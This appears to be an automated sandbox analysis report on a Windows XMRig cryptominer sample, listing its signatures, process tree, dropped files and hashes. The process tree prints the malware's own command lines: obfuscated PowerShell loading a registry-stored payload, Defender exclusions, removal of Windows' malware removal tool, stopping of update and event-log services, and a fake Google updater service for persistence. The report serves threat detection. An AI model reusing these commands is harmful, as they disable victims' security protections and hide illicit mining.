Analysis

  • max time kernel
    150s
  • max time network
    132s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    10/10/2024, 02:55

General

  • Target
    1417d38c40d85d1c4eb7fad3444ca069.exe
  • Size 5.3MB
  • Sample241010-defvea1epp
  • SHA256 5f7c6cdea3c4e825af1d796cbd34b2d45b2b6fabed130e717a30a6d871993f5d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Creates new service(s) 2 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 9 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • UPX packed file 12 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 43 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:428
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{2300c7c0-e575-45e2-bd67-1ef48ad4663d}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1088
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:472
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch
        2⤵
          PID:604
          • C:\Windows\system32\wbem\wmiprvse.exe
            C:\Windows\system32\wbem\wmiprvse.exe
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1312
          • C:\Windows\system32\DllHost.exe
            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
            3⤵
              PID:636
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k RPCSS
            2⤵
              PID:684
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
              2⤵
              • Modifies security service
              PID:756
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
              2⤵
                PID:820
                • C:\Windows\system32\Dwm.exe
                  "C:\Windows\system32\Dwm.exe"
                  3⤵
                    PID:1156
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of AdjustPrivilegeToken
                  PID:864
                  • C:\Windows\system32\taskeng.exe
                    taskeng.exe {723254D6-07CF-45E9-9B06-6CD1771C5F5A} S-1-5-18:NT AUTHORITY\System:Service:
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1784
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+''+'W'+''+[Char](65)+'RE').GetValue(''+[Char](100)+''+'i'+''+'a'+''+[Char](108)+''+'e'+'r'+'s'+''+[Char](116)+''+'a'+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
                      4⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:2688
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+'T'+''+'W'+''+'A'+'RE').GetValue(''+'d'+'i'+'a'+'l'+[Char](101)+''+[Char](114)+'s'+[Char](116)+'ag'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2764
                  • C:\Windows\system32\wbem\WMIADAP.EXE
                    wmiadap.exe /F /T /R
                    3⤵
                    • Drops file in System32 directory
                    PID:2020
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalService
                  2⤵
                    PID:972
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k NetworkService
                    2⤵
                      PID:236
                    • C:\Windows\System32\spoolsv.exe
                      C:\Windows\System32\spoolsv.exe
                      2⤵
                        PID:284
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                        2⤵
                          PID:1072
                        • C:\Windows\system32\taskhost.exe
                          "taskhost.exe"
                          2⤵
                            PID:1108
                          • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
                            "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
                            2⤵
                              PID:1060
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                              2⤵
                                PID:2560
                              • C:\Windows\system32\sppsvc.exe
                                C:\Windows\system32\sppsvc.exe
                                2⤵
                                  PID:2460
                                • C:\ProgramData\Google\Chrome\updater.exe
                                  C:\ProgramData\Google\Chrome\updater.exe
                                  2⤵
                                  • Drops file in Drivers directory
                                  • Executes dropped EXE
                                  • Drops file in System32 directory
                                  • Suspicious use of SetThreadContext
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of WriteProcessMemory
                                  PID:2888
                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                    3⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Drops file in System32 directory
                                    • Modifies data under HKEY_USERS
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2112
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                    3⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:2132
                                    • C:\Windows\system32\wusa.exe
                                      wusa /uninstall /kb:890830 /quiet /norestart
                                      4⤵
                                      • Drops file in Windows directory
                                      PID:1916
                                  • C:\Windows\system32\sc.exe
                                    C:\Windows\system32\sc.exe stop UsoSvc
                                    3⤵
                                    • Launches sc.exe
                                    PID:2032
                                  • C:\Windows\system32\sc.exe
                                    C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                    3⤵
                                    • Launches sc.exe
                                    PID:1148
                                  • C:\Windows\system32\sc.exe
                                    C:\Windows\system32\sc.exe stop wuauserv
                                    3⤵
                                    • Launches sc.exe
                                    PID:1936
                                  • C:\Windows\system32\sc.exe
                                    C:\Windows\system32\sc.exe stop bits
                                    3⤵
                                    • Launches sc.exe
                                    PID:556
                                  • C:\Windows\system32\sc.exe
                                    C:\Windows\system32\sc.exe stop dosvc
                                    3⤵
                                    • Launches sc.exe
                                    PID:2064
                                  • C:\Windows\system32\powercfg.exe
                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                    3⤵
                                    • Power Settings
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:272
                                  • C:\Windows\system32\powercfg.exe
                                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                    3⤵
                                    • Power Settings
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:600
                                  • C:\Windows\system32\powercfg.exe
                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                    3⤵
                                    • Power Settings
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2536
                                  • C:\Windows\system32\powercfg.exe
                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                    3⤵
                                    • Power Settings
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1248
                                  • C:\Windows\system32\dialer.exe
                                    C:\Windows\system32\dialer.exe
                                    3⤵
                                      PID:1808
                                    • C:\Windows\system32\dialer.exe
                                      C:\Windows\system32\dialer.exe
                                      3⤵
                                        PID:1672
                                      • C:\Windows\system32\dialer.exe
                                        dialer.exe
                                        3⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1092
                                  • C:\Windows\system32\lsass.exe
                                    C:\Windows\system32\lsass.exe
                                    1⤵
                                      PID:488
                                    • C:\Windows\system32\lsm.exe
                                      C:\Windows\system32\lsm.exe
                                      1⤵
                                        PID:496
                                      • C:\Windows\Explorer.EXE
                                        C:\Windows\Explorer.EXE
                                        1⤵
                                          PID:1184
                                          • C:\Users\Admin\AppData\Local\Temp\1417d38c40d85d1c4eb7fad3444ca069.exe
                                            "C:\Users\Admin\AppData\Local\Temp\1417d38c40d85d1c4eb7fad3444ca069.exe"
                                            2⤵
                                            • Drops file in Drivers directory
                                            • Drops file in System32 directory
                                            • Suspicious use of SetThreadContext
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of WriteProcessMemory
                                            PID:2100
                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                              3⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Drops file in System32 directory
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2088
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                              3⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:2692
                                              • C:\Windows\system32\wusa.exe
                                                wusa /uninstall /kb:890830 /quiet /norestart
                                                4⤵
                                                • Drops file in Windows directory
                                                PID:2832
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe stop UsoSvc
                                              3⤵
                                              • Launches sc.exe
                                              PID:2192
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                              3⤵
                                              • Launches sc.exe
                                              PID:2792
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe stop wuauserv
                                              3⤵
                                              • Launches sc.exe
                                              PID:3016
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe stop bits
                                              3⤵
                                              • Launches sc.exe
                                              PID:2568
                                            • C:\Windows\system32\sc.exe
                                              C:\Windows\system32\sc.exe stop dosvc
                                              3⤵
                                              • Launches sc.exe
                                              PID:2852
                                            • C:\Windows\system32\powercfg.exe
                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                              3⤵
                                              • Power Settings
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2824
                                            • C:\Windows\system32\powercfg.exe
                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                              3⤵
                                              • Power Settings
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2908
                                            • C:\Windows\system32\powercfg.exe
                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                              3⤵
                                              • Power Settings
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:2848
                                            • C:\Windows\system32\powercfg.exe
                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                              3⤵
                                              • Power Settings
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:1812
                                            • C:\Windows\system32\dialer.exe
                                              C:\Windows\system32\dialer.exe
                                              3⤵
                                                PID:2620
                                              • C:\Windows\system32\sc.exe
                                                C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
                                                3⤵
                                                • Launches sc.exe
                                                PID:1848
                                              • C:\Windows\system32\sc.exe
                                                C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
                                                3⤵
                                                • Launches sc.exe
                                                PID:1968
                                              • C:\Windows\system32\sc.exe
                                                C:\Windows\system32\sc.exe stop eventlog
                                                3⤵
                                                • Launches sc.exe
                                                PID:1228
                                              • C:\Windows\system32\sc.exe
                                                C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
                                                3⤵
                                                • Launches sc.exe
                                                PID:876

                                          Network

                                                MITRE ATT&CK Enterprise v15

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                                                Downloads

                                                dialersvc64

                                                • Path C:\Windows\System32\Tasks\dialersvc64
                                                • Size 3KB
                                                • SHA256 ef9e86007cd54d4d8a9cfb8f5b165e5b21d3cb2cf01d9ede2743445824e64a0a
                                                • MD5 SHA1 SHA512

                                                hosts

                                                • Path C:\Windows\system32\drivers\etc\hosts
                                                • Size 3KB
                                                • SHA256 a1d4e2e3c808b03bd4e21eb57d93576bfffd9be422587a61d3e67abb67806d2f
                                                • MD5 SHA1 SHA512

                                                updater.exe

                                                • Path \ProgramData\Google\Chrome\updater.exe
                                                • Size 5.3MB
                                                • SHA256 5f7c6cdea3c4e825af1d796cbd34b2d45b2b6fabed130e717a30a6d871993f5d
                                                • MD5 SHA1 SHA512 SSDEEP

                                                memory/428-69-0x0000000000C00000-0x0000000000C25000-memory.dmp

                                                memory/428-71-0x0000000000C00000-0x0000000000C25000-memory.dmp

                                                memory/428-73-0x0000000000C30000-0x0000000000C5B000-memory.dmp

                                                memory/428-79-0x0000000000C30000-0x0000000000C5B000-memory.dmp

                                                memory/428-80-0x000007FEBEEB0000-0x000007FEBEEC0000-memory.dmp

                                                memory/428-81-0x0000000036ED0000-0x0000000036EE0000-memory.dmp

                                                memory/428-72-0x0000000000C30000-0x0000000000C5B000-memory.dmp

                                                memory/472-87-0x00000000001F0000-0x000000000021B000-memory.dmp

                                                memory/1088-59-0x0000000140000000-0x0000000140008000-memory.dmp

                                                memory/1088-61-0x0000000140000000-0x0000000140008000-memory.dmp

                                                memory/1088-58-0x0000000140000000-0x0000000140008000-memory.dmp

                                                memory/1088-60-0x0000000140000000-0x0000000140008000-memory.dmp

                                                memory/1088-63-0x0000000140000000-0x0000000140008000-memory.dmp

                                                memory/1088-64-0x0000000076E90000-0x0000000077039000-memory.dmp

                                                memory/1088-65-0x0000000076C70000-0x0000000076D8F000-memory.dmp

                                                memory/1088-66-0x0000000140000000-0x0000000140008000-memory.dmp

                                                memory/1092-51-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1092-54-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1092-47-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1092-41-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1092-55-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1092-53-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1092-52-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1092-40-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1092-48-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1092-46-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1092-49-0x0000000000130000-0x0000000000150000-memory.dmp

                                                memory/1092-44-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1092-45-0x0000000140000000-0x0000000140835000-memory.dmp

                                                memory/1672-34-0x0000000140000000-0x000000014000E000-memory.dmp

                                                memory/1672-36-0x0000000140000000-0x000000014000E000-memory.dmp

                                                memory/1672-33-0x0000000140000000-0x000000014000E000-memory.dmp

                                                memory/1672-32-0x0000000140000000-0x000000014000E000-memory.dmp

                                                memory/1672-42-0x0000000140000000-0x000000014000E000-memory.dmp

                                                memory/1672-35-0x0000000140000000-0x000000014000E000-memory.dmp

                                                memory/2088-5-0x000000001B610000-0x000000001B8F2000-memory.dmp

                                                memory/2088-6-0x0000000002250000-0x0000000002258000-memory.dmp

                                                memory/2088-8-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

                                                memory/2088-4-0x000007FEF555E000-0x000007FEF555F000-memory.dmp

                                                memory/2088-7-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

                                                memory/2088-10-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

                                                memory/2088-9-0x000007FEF52A0000-0x000007FEF5C3D000-memory.dmp

                                                memory/2112-23-0x0000000000DA0000-0x0000000000DA8000-memory.dmp

                                                memory/2112-22-0x0000000019E80000-0x000000001A162000-memory.dmp

                                                memory/2620-14-0x0000000140000000-0x000000014002B000-memory.dmp

                                                memory/2620-15-0x0000000140000000-0x000000014002B000-memory.dmp

                                                memory/2620-17-0x0000000140000000-0x000000014002B000-memory.dmp

                                                memory/2620-12-0x0000000140000000-0x000000014002B000-memory.dmp

                                                memory/2620-13-0x0000000140000000-0x000000014002B000-memory.dmp

                                                memory/2688-50-0x0000000000F50000-0x0000000000F7A000-memory.dmp

                                                memory/2688-57-0x0000000076C70000-0x0000000076D8F000-memory.dmp

                                                memory/2688-56-0x0000000076E90000-0x0000000077039000-memory.dmp